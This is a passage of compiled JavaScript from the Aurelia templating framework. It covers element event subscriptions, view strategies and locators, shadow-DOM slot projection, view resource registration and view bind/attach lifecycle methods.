ElementEvents.prototype._enqueueHandler = function _enqueueHandler(handler) {
this.subscriptions[handler.eventName] = this.subscriptions[handler.eventName] || [];
this.subscriptions[handler.eventName].push(handler);
};
ElementEvents.prototype._dequeueHandler = function _dequeueHandler(handler) {
var index = void 0;
var subscriptions = this.subscriptions[handler.eventName];
if (subscriptions) {
index = subscriptions.indexOf(handler);
if (index > -1) {
subscriptions.splice(index, 1);
}
}
return handler;
};
ElementEvents.prototype.publish = function publish(eventName) {
var detail = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
var bubbles = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true;
var cancelable = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : true;
var event = _aureliaPal.DOM.createCustomEvent(eventName, { cancelable: cancelable, bubbles: bubbles, detail: detail });
this.element.dispatchEvent(event);
};
ElementEvents.prototype.subscribe = function subscribe(eventName, handler) {
var _this2 = this;
var bubbles = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true;
if (handler && typeof handler === 'function') {
handler.eventName = eventName;
handler.handler = handler;
handler.bubbles = bubbles;
handler.dispose = function () {
_this2.element.removeEventListener(eventName, handler, bubbles);
_this2._dequeueHandler(handler);
};
this.element.addEventListener(eventName, handler, bubbles);
this._enqueueHandler(handler);
return handler;
}
return undefined;
};
ElementEvents.prototype.subscribeOnce = function subscribeOnce(eventName, handler) {
var _this3 = this;
var bubbles = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true;
if (handler && typeof handler === 'function') {
var _ret = function () {
var _handler = function _handler(event) {
handler(event);
_handler.dispose();
};
return {
v: _this3.subscribe(eventName, _handler, bubbles)
};
}();
if ((typeof _ret === 'undefined' ? 'undefined' : _typeof(_ret)) === "object") return _ret.v;
}
return undefined;
};
ElementEvents.prototype.dispose = function dispose(eventName) {
if (eventName && typeof eventName === 'string') {
var subscriptions = this.subscriptions[eventName];
if (subscriptions) {
while (subscriptions.length) {
var subscription = subscriptions.pop();
if (subscription) {
subscription.dispose();
}
}
}
} else {
this.disposeAll();
}
};
ElementEvents.prototype.disposeAll = function disposeAll() {
for (var key in this.subscriptions) {
this.dispose(key);
}
};
return ElementEvents;
}();
var ResourceLoadContext = exports.ResourceLoadContext = function () {
function ResourceLoadContext() {
this.dependencies = {};
}
ResourceLoadContext.prototype.addDependency = function addDependency(url) {
this.dependencies[url] = true;
};
ResourceLoadContext.prototype.hasDependency = function hasDependency(url) {
return url in this.dependencies;
};
return ResourceLoadContext;
}();
var ViewCompileInstruction = exports.ViewCompileInstruction = function ViewCompileInstruction() {
var targetShadowDOM = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var compileSurrogate = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
this.targetShadowDOM = targetShadowDOM;
this.compileSurrogate = compileSurrogate;
this.associatedModuleId = null;
};
ViewCompileInstruction.normal = new ViewCompileInstruction();
var BehaviorInstruction = exports.BehaviorInstruction = function () {
BehaviorInstruction.enhance = function enhance() {
var instruction = new BehaviorInstruction();
instruction.enhance = true;
return instruction;
};
BehaviorInstruction.unitTest = function unitTest(type, attributes) {
var instruction = new BehaviorInstruction();
instruction.type = type;
instruction.attributes = attributes || {};
return instruction;
};
BehaviorInstruction.element = function element(node, type) {
var instruction = new BehaviorInstruction();
instruction.type = type;
instruction.attributes = {};
instruction.anchorIsContainer = !(node.hasAttribute('containerless') || type.containerless);
instruction.initiatedByBehavior = true;
return instruction;
};
BehaviorInstruction.attribute = function attribute(attrName, type) {
var instruction = new BehaviorInstruction();
instruction.attrName = attrName;
instruction.type = type || null;
instruction.attributes = {};
return instruction;
};
BehaviorInstruction.dynamic = function dynamic(host, viewModel, viewFactory) {
var instruction = new BehaviorInstruction();
instruction.host = host;
instruction.viewModel = viewModel;
instruction.viewFactory = viewFactory;
instruction.inheritBindingContext = true;
return instruction;
};
function BehaviorInstruction() {
this.initiatedByBehavior = false;
this.enhance = false;
this.partReplacements = null;
this.viewFactory = null;
this.originalAttrName = null;
this.skipContentProcessing = false;
this.contentFactory = null;
this.viewModel = null;
this.anchorIsContainer = false;
this.host = null;
this.attributes = null;
this.type = null;
this.attrName = null;
this.inheritBindingContext = false;
}
return BehaviorInstruction;
}();
BehaviorInstruction.normal = new BehaviorInstruction();
var TargetInstruction = exports.TargetInstruction = (_temp = _class = function () {
TargetInstruction.shadowSlot = function shadowSlot(parentInjectorId) {
var instruction = new TargetInstruction();
instruction.parentInjectorId = parentInjectorId;
instruction.shadowSlot = true;
return instruction;
};
TargetInstruction.contentExpression = function contentExpression(expression) {
var instruction = new TargetInstruction();
instruction.contentExpression = expression;
return instruction;
};
TargetInstruction.lifting = function lifting(parentInjectorId, liftingInstruction) {
var instruction = new TargetInstruction();
instruction.parentInjectorId = parentInjectorId;
instruction.expressions = TargetInstruction.noExpressions;
instruction.behaviorInstructions = [liftingInstruction];
instruction.viewFactory = liftingInstruction.viewFactory;
instruction.providers = [liftingInstruction.type.target];
instruction.lifting = true;
return instruction;
};
TargetInstruction.normal = function normal(injectorId, parentInjectorId, providers, behaviorInstructions, expressions, elementInstruction) {
var instruction = new TargetInstruction();
instruction.injectorId = injectorId;
instruction.parentInjectorId = parentInjectorId;
instruction.providers = providers;
instruction.behaviorInstructions = behaviorInstructions;
instruction.expressions = expressions;
instruction.anchorIsContainer = elementInstruction ? elementInstruction.anchorIsContainer : true;
instruction.elementInstruction = elementInstruction;
return instruction;
};
TargetInstruction.surrogate = function surrogate(providers, behaviorInstructions, expressions, values) {
var instruction = new TargetInstruction();
instruction.expressions = expressions;
instruction.behaviorInstructions = behaviorInstructions;
instruction.providers = providers;
instruction.values = values;
return instruction;
};
function TargetInstruction() {
this.injectorId = null;
this.parentInjectorId = null;
this.shadowSlot = false;
this.slotName = null;
this.slotFallbackFactory = null;
this.contentExpression = null;
this.expressions = null;
this.behaviorInstructions = null;
this.providers = null;
this.viewFactory = null;
this.anchorIsContainer = false;
this.elementInstruction = null;
this.lifting = false;
this.values = null;
}
return TargetInstruction;
}(), _class.noExpressions = Object.freeze([]), _temp);
var viewStrategy = exports.viewStrategy = _aureliaMetadata.protocol.create('aurelia:view-strategy', {
validate: function validate(target) {
if (!(typeof target.loadViewFactory === 'function')) {
return 'View strategies must implement: loadViewFactory(viewEngine: ViewEngine, compileInstruction: ViewCompileInstruction, loadContext?: ResourceLoadContext): Promise<ViewFactory>';
}
return true;
},
compose: function compose(target) {
if (!(typeof target.makeRelativeTo === 'function')) {
target.makeRelativeTo = _aureliaPal.PLATFORM.noop;
}
}
});
var RelativeViewStrategy = exports.RelativeViewStrategy = (_dec = viewStrategy(), _dec(_class2 = function () {
function RelativeViewStrategy(path) {
this.path = path;
this.absolutePath = null;
}
RelativeViewStrategy.prototype.loadViewFactory = function loadViewFactory(viewEngine, compileInstruction, loadContext, target) {
if (this.absolutePath === null && this.moduleId) {
this.absolutePath = (0, _aureliaPath.relativeToFile)(this.path, this.moduleId);
}
compileInstruction.associatedModuleId = this.moduleId;
return viewEngine.loadViewFactory(this.absolutePath || this.path, compileInstruction, loadContext, target);
};
RelativeViewStrategy.prototype.makeRelativeTo = function makeRelativeTo(file) {
if (this.absolutePath === null) {
this.absolutePath = (0, _aureliaPath.relativeToFile)(this.path, file);
}
};
return RelativeViewStrategy;
}()) || _class2);
var ConventionalViewStrategy = exports.ConventionalViewStrategy = (_dec2 = viewStrategy(), _dec2(_class3 = function () {
function ConventionalViewStrategy(viewLocator, origin) {
this.moduleId = origin.moduleId;
this.viewUrl = viewLocator.convertOriginToViewUrl(origin);
}
ConventionalViewStrategy.prototype.loadViewFactory = function loadViewFactory(viewEngine, compileInstruction, loadContext, target) {
compileInstruction.associatedModuleId = this.moduleId;
return viewEngine.loadViewFactory(this.viewUrl, compileInstruction, loadContext, target);
};
return ConventionalViewStrategy;
}()) || _class3);
var NoViewStrategy = exports.NoViewStrategy = (_dec3 = viewStrategy(), _dec3(_class4 = function () {
function NoViewStrategy(dependencies, dependencyBaseUrl) {
this.dependencies = dependencies || null;
this.dependencyBaseUrl = dependencyBaseUrl || '';
}
NoViewStrategy.prototype.loadViewFactory = function loadViewFactory(viewEngine, compileInstruction, loadContext, target) {
var entry = this.entry;
var dependencies = this.dependencies;
if (entry && entry.factoryIsReady) {
return Promise.resolve(null);
}
this.entry = entry = new _aureliaLoader.TemplateRegistryEntry(this.moduleId || this.dependencyBaseUrl);
entry.dependencies = [];
entry.templateIsLoaded = true;
if (dependencies !== null) {
for (var i = 0, ii = dependencies.length; i < ii; ++i) {
var current = dependencies[i];
if (typeof current === 'string' || typeof current === 'function') {
entry.addDependency(current);
} else {
entry.addDependency(current.from, current.as);
}
}
}
compileInstruction.associatedModuleId = this.moduleId;
return viewEngine.loadViewFactory(entry, compileInstruction, loadContext, target);
};
return NoViewStrategy;
}()) || _class4);
var TemplateRegistryViewStrategy = exports.TemplateRegistryViewStrategy = (_dec4 = viewStrategy(), _dec4(_class5 = function () {
function TemplateRegistryViewStrategy(moduleId, entry) {
this.moduleId = moduleId;
this.entry = entry;
}
TemplateRegistryViewStrategy.prototype.loadViewFactory = function loadViewFactory(viewEngine, compileInstruction, loadContext, target) {
var entry = this.entry;
if (entry.factoryIsReady) {
return Promise.resolve(entry.factory);
}
compileInstruction.associatedModuleId = this.moduleId;
return viewEngine.loadViewFactory(entry, compileInstruction, loadContext, target);
};
return TemplateRegistryViewStrategy;
}()) || _class5);
var InlineViewStrategy = exports.InlineViewStrategy = (_dec5 = viewStrategy(), _dec5(_class6 = function () {
function InlineViewStrategy(markup, dependencies, dependencyBaseUrl) {
this.markup = markup;
this.dependencies = dependencies || null;
this.dependencyBaseUrl = dependencyBaseUrl || '';
}
InlineViewStrategy.prototype.loadViewFactory = function loadViewFactory(viewEngine, compileInstruction, loadContext, target) {
var entry = this.entry;
var dependencies = this.dependencies;
if (entry && entry.factoryIsReady) {
return Promise.resolve(entry.factory);
}
this.entry = entry = new _aureliaLoader.TemplateRegistryEntry(this.moduleId || this.dependencyBaseUrl);
entry.template = _aureliaPal.DOM.createTemplateFromMarkup(this.markup);
if (dependencies !== null) {
for (var i = 0, ii = dependencies.length; i < ii; ++i) {
var current = dependencies[i];
if (typeof current === 'string' || typeof current === 'function') {
entry.addDependency(current);
} else {
entry.addDependency(current.from, current.as);
}
}
}
compileInstruction.associatedModuleId = this.moduleId;
return viewEngine.loadViewFactory(entry, compileInstruction, loadContext, target);
};
return InlineViewStrategy;
}()) || _class6);
var ViewLocator = exports.ViewLocator = (_temp2 = _class7 = function () {
function ViewLocator() {
}
ViewLocator.prototype.getViewStrategy = function getViewStrategy(value) {
if (!value) {
return null;
}
if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && 'getViewStrategy' in value) {
var _origin = _aureliaMetadata.Origin.get(value.constructor);
value = value.getViewStrategy();
if (typeof value === 'string') {
value = new RelativeViewStrategy(value);
}
viewStrategy.assert(value);
if (_origin.moduleId) {
value.makeRelativeTo(_origin.moduleId);
}
return value;
}
if (typeof value === 'string') {
value = new RelativeViewStrategy(value);
}
if (viewStrategy.validate(value)) {
return value;
}
if (typeof value !== 'function') {
value = value.constructor;
}
var origin = _aureliaMetadata.Origin.get(value);
var strategy = _aureliaMetadata.metadata.get(ViewLocator.viewStrategyMetadataKey, value);
if (!strategy) {
if (!origin.moduleId) {
throw new Error('Cannot determine default view strategy for object.', value);
}
strategy = this.createFallbackViewStrategy(origin);
} else if (origin.moduleId) {
strategy.moduleId = origin.moduleId;
}
return strategy;
};
ViewLocator.prototype.createFallbackViewStrategy = function createFallbackViewStrategy(origin) {
return new ConventionalViewStrategy(this, origin);
};
ViewLocator.prototype.convertOriginToViewUrl = function convertOriginToViewUrl(origin) {
var moduleId = origin.moduleId;
var id = moduleId.endsWith('.js') || moduleId.endsWith('.ts') ? moduleId.substring(0, moduleId.length - 3) : moduleId;
return id + '.html';
};
return ViewLocator;
}(), _class7.viewStrategyMetadataKey = 'aurelia:view-strategy', _temp2);
function mi(name) {
throw new Error('BindingLanguage must implement ' + name + '().');
}
var BindingLanguage = exports.BindingLanguage = function () {
function BindingLanguage() {
}
BindingLanguage.prototype.inspectAttribute = function inspectAttribute(resources, elementName, attrName, attrValue) {
mi('inspectAttribute');
};
BindingLanguage.prototype.createAttributeInstruction = function createAttributeInstruction(resources, element, info, existingInstruction) {
mi('createAttributeInstruction');
};
BindingLanguage.prototype.inspectTextContent = function inspectTextContent(resources, value) {
mi('inspectTextContent');
};
return BindingLanguage;
}();
var noNodes = Object.freeze([]);
var SlotCustomAttribute = exports.SlotCustomAttribute = (_dec6 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element), _dec6(_class8 = function () {
function SlotCustomAttribute(element) {
this.element = element;
this.element.auSlotAttribute = this;
}
SlotCustomAttribute.prototype.valueChanged = function valueChanged(newValue, oldValue) {};
return SlotCustomAttribute;
}()) || _class8);
var PassThroughSlot = exports.PassThroughSlot = function () {
function PassThroughSlot(anchor, name, destinationName, fallbackFactory) {
this.anchor = anchor;
this.anchor.viewSlot = this;
this.name = name;
this.destinationName = destinationName;
this.fallbackFactory = fallbackFactory;
this.destinationSlot = null;
this.projections = 0;
this.contentView = null;
var attr = new SlotCustomAttribute(this.anchor);
attr.value = this.destinationName;
}
PassThroughSlot.prototype.renderFallbackContent = function renderFallbackContent(view, nodes, projectionSource, index) {
if (this.contentView === null) {
this.contentView = this.fallbackFactory.create(this.ownerView.container);
this.contentView.bind(this.ownerView.bindingContext, this.ownerView.overrideContext);
var slots = Object.create(null);
slots[this.destinationSlot.name] = this.destinationSlot;
ShadowDOM.distributeView(this.contentView, slots, projectionSource, index, this.destinationSlot.name);
}
};
PassThroughSlot.prototype.passThroughTo = function passThroughTo(destinationSlot) {
this.destinationSlot = destinationSlot;
};
PassThroughSlot.prototype.addNode = function addNode(view, node, projectionSource, index) {
if (this.contentView !== null) {
this.contentView.removeNodes();
this.contentView.detached();
this.contentView.unbind();
this.contentView = null;
}
if (node.viewSlot instanceof PassThroughSlot) {
node.viewSlot.passThroughTo(this);
return;
}
this.projections++;
this.destinationSlot.addNode(view, node, projectionSource, index);
};
PassThroughSlot.prototype.removeView = function removeView(view, projectionSource) {
this.projections--;
this.destinationSlot.removeView(view, projectionSource);
if (this.needsFallbackRendering) {
this.renderFallbackContent(null, noNodes, projectionSource);
}
};
PassThroughSlot.prototype.removeAll = function removeAll(projectionSource) {
this.projections = 0;
this.destinationSlot.removeAll(projectionSource);
if (this.needsFallbackRendering) {
this.renderFallbackContent(null, noNodes, projectionSource);
}
};
PassThroughSlot.prototype.projectFrom = function projectFrom(view, projectionSource) {
this.destinationSlot.projectFrom(view, projectionSource);
};
PassThroughSlot.prototype.created = function created(ownerView) {
this.ownerView = ownerView;
};
PassThroughSlot.prototype.bind = function bind(view) {
if (this.contentView) {
this.contentView.bind(view.bindingContext, view.overrideContext);
}
};
PassThroughSlot.prototype.attached = function attached() {
if (this.contentView) {
this.contentView.attached();
}
};
PassThroughSlot.prototype.detached = function detached() {
if (this.contentView) {
this.contentView.detached();
}
};
PassThroughSlot.prototype.unbind = function unbind() {
if (this.contentView) {
this.contentView.unbind();
}
};
_createClass(PassThroughSlot, [{
key: 'needsFallbackRendering',
get: function get() {
return this.fallbackFactory && this.projections === 0;
}
}]);
return PassThroughSlot;
}();
var ShadowSlot = exports.ShadowSlot = function () {
function ShadowSlot(anchor, name, fallbackFactory) {
this.anchor = anchor;
this.anchor.isContentProjectionSource = true;
this.anchor.viewSlot = this;
this.name = name;
this.fallbackFactory = fallbackFactory;
this.contentView = null;
this.projections = 0;
this.children = [];
this.projectFromAnchors = null;
this.destinationSlots = null;
}
ShadowSlot.prototype.addNode = function addNode(view, node, projectionSource, index, destination) {
if (this.contentView !== null) {
this.contentView.removeNodes();
this.contentView.detached();
this.contentView.unbind();
this.contentView = null;
}
if (node.viewSlot instanceof PassThroughSlot) {
node.viewSlot.passThroughTo(this);
return;
}
if (this.destinationSlots !== null) {
ShadowDOM.distributeNodes(view, [node], this.destinationSlots, this, index);
} else {
node.auOwnerView = view;
node.auProjectionSource = projectionSource;
node.auAssignedSlot = this;
var anchor = this._findAnchor(view, node, projectionSource, index);
var parent = anchor.parentNode;
parent.insertBefore(node, anchor);
this.children.push(node);
this.projections++;
}
};
ShadowSlot.prototype.removeView = function removeView(view, projectionSource) {
if (this.destinationSlots !== null) {
ShadowDOM.undistributeView(view, this.destinationSlots, this);
} else if (this.contentView && this.contentView.hasSlots) {
ShadowDOM.undistributeView(view, this.contentView.slots, projectionSource);
} else {
var found = this.children.find(function (x) {
return x.auSlotProjectFrom === projectionSource;
});
if (found) {
var _children = found.auProjectionChildren;
for (var i = 0, ii = _children.length; i < ii; ++i) {
var _child = _children[i];
if (_child.auOwnerView === view) {
_children.splice(i, 1);
view.fragment.appendChild(_child);
i--;ii--;
this.projections--;
}
}
if (this.needsFallbackRendering) {
this.renderFallbackContent(view, noNodes, projectionSource);
}
}
}
};
ShadowSlot.prototype.removeAll = function removeAll(projectionSource) {
if (this.destinationSlots !== null) {
ShadowDOM.undistributeAll(this.destinationSlots, this);
} else if (this.contentView && this.contentView.hasSlots) {
ShadowDOM.undistributeAll(this.contentView.slots, projectionSource);
} else {
var found = this.children.find(function (x) {
return x.auSlotProjectFrom === projectionSource;
});
if (found) {
var _children2 = found.auProjectionChildren;
for (var i = 0, ii = _children2.length; i < ii; ++i) {
var _child2 = _children2[i];
_child2.auOwnerView.fragment.appendChild(_child2);
this.projections--;
}
found.auProjectionChildren = [];
if (this.needsFallbackRendering) {
this.renderFallbackContent(null, noNodes, projectionSource);
}
}
}
};
ShadowSlot.prototype._findAnchor = function _findAnchor(view, node, projectionSource, index) {
if (projectionSource) {
var found = this.children.find(function (x) {
return x.auSlotProjectFrom === projectionSource;
});
if (found) {
if (index !== undefined) {
var _children3 = found.auProjectionChildren;
var viewIndex = -1;
var lastView = void 0;
for (var i = 0, ii = _children3.length; i < ii; ++i) {
var current = _children3[i];
if (current.auOwnerView !== lastView) {
viewIndex++;
lastView = current.auOwnerView;
if (viewIndex >= index && lastView !== view) {
_children3.splice(i, 0, node);
return current;
}
}
}
}
found.auProjectionChildren.push(node);
return found;
}
}
return this.anchor;
};
ShadowSlot.prototype.projectTo = function projectTo(slots) {
this.destinationSlots = slots;
};
ShadowSlot.prototype.projectFrom = function projectFrom(view, projectionSource) {
var anchor = _aureliaPal.DOM.createComment('anchor');
var parent = this.anchor.parentNode;
anchor.auSlotProjectFrom = projectionSource;
anchor.auOwnerView = view;
anchor.auProjectionChildren = [];
parent.insertBefore(anchor, this.anchor);
this.children.push(anchor);
if (this.projectFromAnchors === null) {
this.projectFromAnchors = [];
}
this.projectFromAnchors.push(anchor);
};
ShadowSlot.prototype.renderFallbackContent = function renderFallbackContent(view, nodes, projectionSource, index) {
if (this.contentView === null) {
this.contentView = this.fallbackFactory.create(this.ownerView.container);
this.contentView.bind(this.ownerView.bindingContext, this.ownerView.overrideContext);
this.contentView.insertNodesBefore(this.anchor);
}
if (this.contentView.hasSlots) {
var slots = this.contentView.slots;
var projectFromAnchors = this.projectFromAnchors;
if (projectFromAnchors !== null) {
for (var slotName in slots) {
var slot = slots[slotName];
for (var i = 0, ii = projectFromAnchors.length; i < ii; ++i) {
var anchor = projectFromAnchors[i];
slot.projectFrom(anchor.auOwnerView, anchor.auSlotProjectFrom);
}
}
}
this.fallbackSlots = slots;
ShadowDOM.distributeNodes(view, nodes, slots, projectionSource, index);
}
};
ShadowSlot.prototype.created = function created(ownerView) {
this.ownerView = ownerView;
};
ShadowSlot.prototype.bind = function bind(view) {
if (this.contentView) {
this.contentView.bind(view.bindingContext, view.overrideContext);
}
};
ShadowSlot.prototype.attached = function attached() {
if (this.contentView) {
this.contentView.attached();
}
};
ShadowSlot.prototype.detached = function detached() {
if (this.contentView) {
this.contentView.detached();
}
};
ShadowSlot.prototype.unbind = function unbind() {
if (this.contentView) {
this.contentView.unbind();
}
};
_createClass(ShadowSlot, [{
key: 'needsFallbackRendering',
get: function get() {
return this.fallbackFactory && this.projections === 0;
}
}]);
return ShadowSlot;
}();
var ShadowDOM = exports.ShadowDOM = (_temp3 = _class9 = function () {
function ShadowDOM() {
}
ShadowDOM.getSlotName = function getSlotName(node) {
if (node.auSlotAttribute === undefined) {
return ShadowDOM.defaultSlotKey;
}
return node.auSlotAttribute.value;
};
ShadowDOM.distributeView = function distributeView(view, slots, projectionSource, index, destinationOverride) {
var nodes = void 0;
if (view === null) {
nodes = noNodes;
} else {
var childNodes = view.fragment.childNodes;
var ii = childNodes.length;
nodes = new Array(ii);
for (var i = 0; i < ii; ++i) {
nodes[i] = childNodes[i];
}
}
ShadowDOM.distributeNodes(view, nodes, slots, projectionSource, index, destinationOverride);
};
ShadowDOM.undistributeView = function undistributeView(view, slots, projectionSource) {
for (var slotName in slots) {
slots[slotName].removeView(view, projectionSource);
}
};
ShadowDOM.undistributeAll = function undistributeAll(slots, projectionSource) {
for (var slotName in slots) {
slots[slotName].removeAll(projectionSource);
}
};
ShadowDOM.distributeNodes = function distributeNodes(view, nodes, slots, projectionSource, index, destinationOverride) {
for (var i = 0, ii = nodes.length; i < ii; ++i) {
var currentNode = nodes[i];
var nodeType = currentNode.nodeType;
if (currentNode.isContentProjectionSource) {
currentNode.viewSlot.projectTo(slots);
for (var slotName in slots) {
slots[slotName].projectFrom(view, currentNode.viewSlot);
}
nodes.splice(i, 1);
ii--;i--;
} else if (nodeType === 1 || nodeType === 3 || currentNode.viewSlot instanceof PassThroughSlot) {
if (nodeType === 3 && _isAllWhitespace(currentNode)) {
nodes.splice(i, 1);
ii--;i--;
} else {
var found = slots[destinationOverride || ShadowDOM.getSlotName(currentNode)];
if (found) {
found.addNode(view, currentNode, projectionSource, index);
nodes.splice(i, 1);
ii--;i--;
}
}
} else {
nodes.splice(i, 1);
ii--;i--;
}
}
for (var _slotName in slots) {
var slot = slots[_slotName];
if (slot.needsFallbackRendering) {
slot.renderFallbackContent(view, nodes, projectionSource, index);
}
}
};
return ShadowDOM;
}(), _class9.defaultSlotKey = '__au-default-slot-key__', _temp3);
function register(lookup, name, resource, type) {
if (!name) {
return;
}
var existing = lookup[name];
if (existing) {
if (existing !== resource) {
throw new Error('Attempted to register ' + type + ' when one with the same name already exists. Name: ' + name + '.');
}
return;
}
lookup[name] = resource;
}
var ViewResources = exports.ViewResources = function () {
function ViewResources(parent, viewUrl) {
this.bindingLanguage = null;
this.parent = parent || null;
this.hasParent = this.parent !== null;
this.viewUrl = viewUrl || '';
this.lookupFunctions = {
valueConverters: this.getValueConverter.bind(this),
bindingBehaviors: this.getBindingBehavior.bind(this)
};
this.attributes = Object.create(null);
this.elements = Object.create(null);
this.valueConverters = Object.create(null);
this.bindingBehaviors = Object.create(null);
this.attributeMap = Object.create(null);
this.values = Object.create(null);
this.beforeCompile = this.afterCompile = this.beforeCreate = this.afterCreate = this.beforeBind = this.beforeUnbind = false;
}
ViewResources.prototype._tryAddHook = function _tryAddHook(obj, name) {
if (typeof obj[name] === 'function') {
var func = obj[name].bind(obj);
var counter = 1;
var callbackName = void 0;
while (this[callbackName = name + counter.toString()] !== undefined) {
counter++;
}
this[name] = true;
this[callbackName] = func;
}
};
ViewResources.prototype._invokeHook = function _invokeHook(name, one, two, three, four) {
if (this.hasParent) {
this.parent._invokeHook(name, one, two, three, four);
}
if (this[name]) {
this[name + '1'](one, two, three, four);
var callbackName = name + '2';
if (this[callbackName]) {
this[callbackName](one, two, three, four);
callbackName = name + '3';
if (this[callbackName]) {
this[callbackName](one, two, three, four);
var counter = 4;
while (this[callbackName = name + counter.toString()] !== undefined) {
this[callbackName](one, two, three, four);
counter++;
}
}
}
}
};
ViewResources.prototype.registerViewEngineHooks = function registerViewEngineHooks(hooks) {
this._tryAddHook(hooks, 'beforeCompile');
this._tryAddHook(hooks, 'afterCompile');
this._tryAddHook(hooks, 'beforeCreate');
this._tryAddHook(hooks, 'afterCreate');
this._tryAddHook(hooks, 'beforeBind');
this._tryAddHook(hooks, 'beforeUnbind');
};
ViewResources.prototype.getBindingLanguage = function getBindingLanguage(bindingLanguageFallback) {
return this.bindingLanguage || (this.bindingLanguage = bindingLanguageFallback);
};
ViewResources.prototype.patchInParent = function patchInParent(newParent) {
var originalParent = this.parent;
this.parent = newParent || null;
this.hasParent = this.parent !== null;
if (newParent.parent === null) {
newParent.parent = originalParent;
newParent.hasParent = originalParent !== null;
}
};
ViewResources.prototype.relativeToView = function relativeToView(path) {
return (0, _aureliaPath.relativeToFile)(path, this.viewUrl);
};
ViewResources.prototype.registerElement = function registerElement(tagName, behavior) {
register(this.elements, tagName, behavior, 'an Element');
};
ViewResources.prototype.getElement = function getElement(tagName) {
return this.elements[tagName] || (this.hasParent ? this.parent.getElement(tagName) : null);
};
ViewResources.prototype.mapAttribute = function mapAttribute(attribute) {
return this.attributeMap[attribute] || (this.hasParent ? this.parent.mapAttribute(attribute) : null);
};
ViewResources.prototype.registerAttribute = function registerAttribute(attribute, behavior, knownAttribute) {
this.attributeMap[attribute] = knownAttribute;
register(this.attributes, attribute, behavior, 'an Attribute');
};
ViewResources.prototype.getAttribute = function getAttribute(attribute) {
return this.attributes[attribute] || (this.hasParent ? this.parent.getAttribute(attribute) : null);
};
ViewResources.prototype.registerValueConverter = function registerValueConverter(name, valueConverter) {
register(this.valueConverters, name, valueConverter, 'a ValueConverter');
};
ViewResources.prototype.getValueConverter = function getValueConverter(name) {
return this.valueConverters[name] || (this.hasParent ? this.parent.getValueConverter(name) : null);
};
ViewResources.prototype.registerBindingBehavior = function registerBindingBehavior(name, bindingBehavior) {
register(this.bindingBehaviors, name, bindingBehavior, 'a BindingBehavior');
};
ViewResources.prototype.getBindingBehavior = function getBindingBehavior(name) {
return this.bindingBehaviors[name] || (this.hasParent ? this.parent.getBindingBehavior(name) : null);
};
ViewResources.prototype.registerValue = function registerValue(name, value) {
register(this.values, name, value, 'a value');
};
ViewResources.prototype.getValue = function getValue(name) {
return this.values[name] || (this.hasParent ? this.parent.getValue(name) : null);
};
return ViewResources;
}();
var View = exports.View = function () {
function View(container, viewFactory, fragment, controllers, bindings, children, slots) {
this.container = container;
this.viewFactory = viewFactory;
this.resources = viewFactory.resources;
this.fragment = fragment;
this.firstChild = fragment.firstChild;
this.lastChild = fragment.lastChild;
this.controllers = controllers;
this.bindings = bindings;
this.children = children;
this.slots = slots;
this.hasSlots = false;
this.fromCache = false;
this.isBound = false;
this.isAttached = false;
this.bindingContext = null;
this.overrideContext = null;
this.controller = null;
this.viewModelScope = null;
this.animatableElement = undefined;
this._isUserControlled = false;
this.contentView = null;
for (var key in slots) {
this.hasSlots = true;
break;
}
}
View.prototype.returnToCache = function returnToCache() {
this.viewFactory.returnViewToCache(this);
};
View.prototype.created = function created() {
var i = void 0;
var ii = void 0;
var controllers = this.controllers;
for (i = 0, ii = controllers.length; i < ii; ++i) {
controllers[i].created(this);
}
};
View.prototype.bind = function bind(bindingContext, overrideContext, _systemUpdate) {
var controllers = void 0;
var bindings = void 0;
var children = void 0;
var i = void 0;
var ii = void 0;
if (_systemUpdate && this._isUserControlled) {
return;
}
if (this.isBound) {
if (this.bindingContext === bindingContext) {
return;
}
this.unbind();
}
this.isBound = true;
this.bindingContext = bindingContext;
this.overrideContext = overrideContext || (0, _aureliaBinding.createOverrideContext)(bindingContext);
this.resources._invokeHook('beforeBind', this);
bindings = this.bindings;
for (i = 0, ii = bindings.length; i < ii; ++i) {
bindings[i].bind(this);
}
if (this.viewModelScope !== null) {
bindingContext.bind(this.viewModelScope.bindingContext, this.viewModelScope.overrideContext);
this.viewModelScope = null;
}
controllers = this.controllers;
for (i = 0, ii = controllers.length; i < ii; ++i) {
controllers[i].bind(this);
}
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
children[i].bind(bindingContext, overrideContext, true);
}
if (this.hasSlots) {
ShadowDOM.distributeView(this.contentView, this.slots);
}
};
View.prototype.addBinding = function addBinding(binding) {
this.bindings.push(binding);
if (this.isBound) {
binding.bind(this);
}
};
View.prototype.unbind = function unbind() {
var controllers = void 0;
var bindings = void 0;
var children = void 0;
var i = void 0;
var ii = void 0;
if (this.isBound) {
this.isBound = false;
this.resources._invokeHook('beforeUnbind', this);
if (this.controller !== null) {
this.controller.unbind();
}
bindings = this.bindings;
for (i = 0, ii = bindings.length; i < ii; ++i) {
bindings[i].unbind();
}
controllers = this.controllers;
for (i = 0, ii = controllers.length; i < ii; ++i) {
controllers[i].unbind();
}
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
children[i].unbind();
}
this.bindingContext = null;
this.overrideContext = null;
}
};
View.prototype.insertNodesBefore = function insertNodesBefore(refNode) {
refNode.parentNode.insertBefore(this.fragment, refNode);
};
View.prototype.appendNodesTo = function appendNodesTo(parent) {
parent.appendChild(this.fragment);
};
View.prototype.removeNodes = function removeNodes() {
var fragment = this.fragment;
var current = this.firstChild;
var end = this.lastChild;
var next = void 0;
while (current) {
next = current.nextSibling;
fragment.appendChild(current);
if (current === end) {
break;
}
current = next;
}
};
View.prototype.attached = function attached() {
var controllers = void 0;
var children = void 0;
var i = void 0;
var ii = void 0;
if (this.isAttached) {
return;
}
this.isAttached = true;
if (this.controller !== null) {
this.controller.attached();
}
controllers = this.controllers;
for (i = 0, ii = controllers.length; i < ii; ++i) {
controllers[i].attached();
}
children = this.children;
for (i = 0, ii = children.length; i < ii; ++i) {
children[i].attached();
}
};
View.prototype.detached = function detached() {
var controllers = void 0;
var children = void 0;
var i = void 0;
var ii = void 0;
if (this.isAttached) {
this.isAttached = false;
if (this.controller !== null) {
this.controller.detached();
}
controllers = this.controllers;
